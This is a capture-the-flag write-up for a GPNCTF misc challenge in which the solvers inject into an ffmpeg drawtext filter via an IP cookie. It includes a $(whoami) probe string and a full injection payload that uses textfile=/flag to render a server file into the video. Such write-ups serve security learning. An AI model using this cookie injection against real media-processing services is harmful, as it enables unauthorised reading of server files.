I know where your house lives.
The flag lives in /flag not ./flag, not /flag.txt
Category: Misc
Solver: superfrogemperor & Likedaeler
Flag: GPNCTF{yOUr_H0USE_l1VEs_4T_google.com/maps/place/neapolis.11.polignano}
Scenario
We have a website which displays our IP address on top of a video containing a broccoli in a hot tub
Analysis
After inspecting the website, we can deduce, that the js snippet responsible for After inspecting the website, we can deduce that the js snippet responsible for getting the IP address is
fetch("https://api.ipify.org?format=json")
.then((x) => x.json())
.then((c) => {
document.cookie = c.ip;
location.reload();
});
Here, we can see, that the ip is stored in an unnamed cookie. There seems to be
a regex matching ip addresses, so all following findings have a 1.1.1.1
prepended.
Trying out some common escape sequences like '
and "
we can see, that they
get replaced. Trying out dot and colon reveal interesting stuff, but not that useful.
After using 192.168.0.1=.::.:.:'"$(whoami)'"
, we get a stacktrace:
ffmpeg version 6.1.2 Copyright (c) 2000-2024 the FFmpeg developers
built with gcc 14.2.0 (Alpine 14.2.0)
configuration: --prefix=/usr --disable-librtmp --disable-lzma --disable-static --disable-stripping --enable-avfilter --enable-gpl --enable-ladspa --enable-libaom --enable-libass --enable-libbluray --enable-libdav1d --enable-libdrm --enable-libfontconfig --enable-libfreetype --enable-libfribidi --enable-libharfbuzz --enable-libmp3lame --enable-libopenmpt --enable-libopus --enable-libplacebo --enable-libpulse --enable-librav1e --enable-librist --enable-libsoxr --enable-libsrt --enable-libssh --enable-libtheora --enable-libv4l2 --enable-libvidstab --enable-libvorbis --enable-libvpx --enable-libwebp --enable-libx264 --enable-libx265 --enable-libxcb --enable-libxml2 --enable-libxvid --enable-libzimg --enable-libzmq --enable-lto=auto --enable-lv2 --enable-openssl --enable-pic --enable-postproc --enable-pthreads --enable-shared --enable-vaapi --enable-vdpau --enable-version3 --enable-vulkan --optflags=-O3 --enable-libjxl --enable-libsvtav1 --enable-libvpl
libavutil 58. 29.100 / 58. 29.100
libavcodec 60. 31.102 / 60. 31.102
libavformat 60. 16.100 / 60. 16.100
libavdevice 60. 3.100 / 60. 3.100
libavfilter 9. 12.100 / 9. 12.100
libswscale 7. 5.100 / 7. 5.100
libswresample 4. 12.100 / 4. 12.100
libpostproc 57. 3.100 / 57. 3.100
[Parsed_drawtext_0 @ 0x7f5af6c97ec0] Both text and text file provided. Please provide only one
[AVFilterGraph @ 0x7f5af23ddd40] Error initializing filters
Failed to set value 'drawtext=fontfile=font.otf:fontcolor=white:fontsize=128:x=(w-text_w)/2:y=(h-text_h)/2:text='192.168.0.1=..:.:.:'"$(whoami)'"'' for option 'filter_complex': Invalid argument
Error parsing global options: Invalid argument
This reveals that the video is modified with ffmpeg on the fly with the filter
drawtext=fontfile=font.otf:fontcolor=white:fontsize=128:x=(w-text_w)/2:y=(h-text_h)/2:text='{ip + text}'
.
After researching the ffmpeg documentation for the drawtext filter, we can see
that there is an option for a textfile
so we probably need to set the textfile to /flag
instead of using
the ip as the text.
After some trial and error, using
1.1.1.1'[tmp];[tmp]drawtext=fontfile=font.otf:fontcolor=red:fontsize=32:x=(w-text_w)/2:y=(h-text_h)/2:textfile=/flag
we get the flag in the video. Happy manual ocr for extraction :).